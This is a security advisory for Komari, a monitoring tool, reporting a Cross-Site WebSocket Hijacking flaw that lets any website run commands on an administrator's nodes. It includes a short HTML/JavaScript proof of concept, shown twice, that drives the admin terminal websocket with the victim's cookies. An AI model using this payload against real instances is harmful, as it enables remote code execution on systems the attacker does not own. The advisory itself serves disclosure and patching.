GHSA-Q355-H244-969H

Vulnerability from github – Published: 2025-08-12 00:13 – Updated: 2025-08-12 00:13
VLAI?
Summary
Komari vulnerable to Cross-site WebSocket Hijacking
Details

Summary

WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users

Details

https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35

Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution

PoC

  1. Login in to your komari instance
  2. Hosting the following HTML code on internet, replace <komari-addr> and <target-uuid> into yours
  3. Visit this HTML page, you can see your node is executing uptime without your actions
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
  const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
  socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
  event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>

Impact

An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.

Severity ?
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/komari-monitor/komari"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250809073044-53171affcaf0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1385"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-12T00:13:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users\n\n### Details\n\nhttps://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35\n\nAny third party website can send requests to the terminal websocket endpoint with browser\u0027s cookies, resulting in remote code execution\n\n### PoC\n\n1. Login in to your komari instance\n2. Hosting the following HTML code on internet, replace `\u003ckomari-addr\u003e` and `\u003ctarget-uuid\u003e` into yours\n3. Visit this HTML page, you can see your node is executing `uptime` without your actions\n\n```\n\u003cpre\u003e\u003c/pre\u003e\n\u003cscript\u003e\nconst socket = new WebSocket(\"wss://\u003ckomari-addr\u003e/api/admin/client/\u003ctarget-uuid\u003e/terminal\");\nsocket.addEventListener(\"open\", (event) =\u003e {\n  const binaryBlob = new Blob([\u0027uptime\\n\u0027], { type: \u0027application/octet-stream\u0027 });\n  socket.send(binaryBlob);\n});\nsocket.addEventListener(\"message\", (event) =\u003e {\n  event.data.text().then(x =\u003e {document.querySelector(\"pre\").append(x)});\n});\n\u003c/script\u003e\n```\n\n### Impact\n\nAn administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.",
  "id": "GHSA-q355-h244-969h",
  "modified": "2025-08-12T00:13:29Z",
  "published": "2025-08-12T00:13:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/security/advisories/GHSA-q355-h244-969h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/commit/53171affcaf050145810efaaef420651a6e630be"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/komari-monitor/komari"
    },
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/blob/bd5a6934e1b79a12cf1e6a9bba5372d0e04f3abc/api/terminal.go#L33-L35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/komari-monitor/komari/releases/tag/1.0.4-fix2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Komari vulnerable to Cross-site WebSocket Hijacking"
}


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  • Confirmed: The vulnerability has been validated from an analyst's perspective.
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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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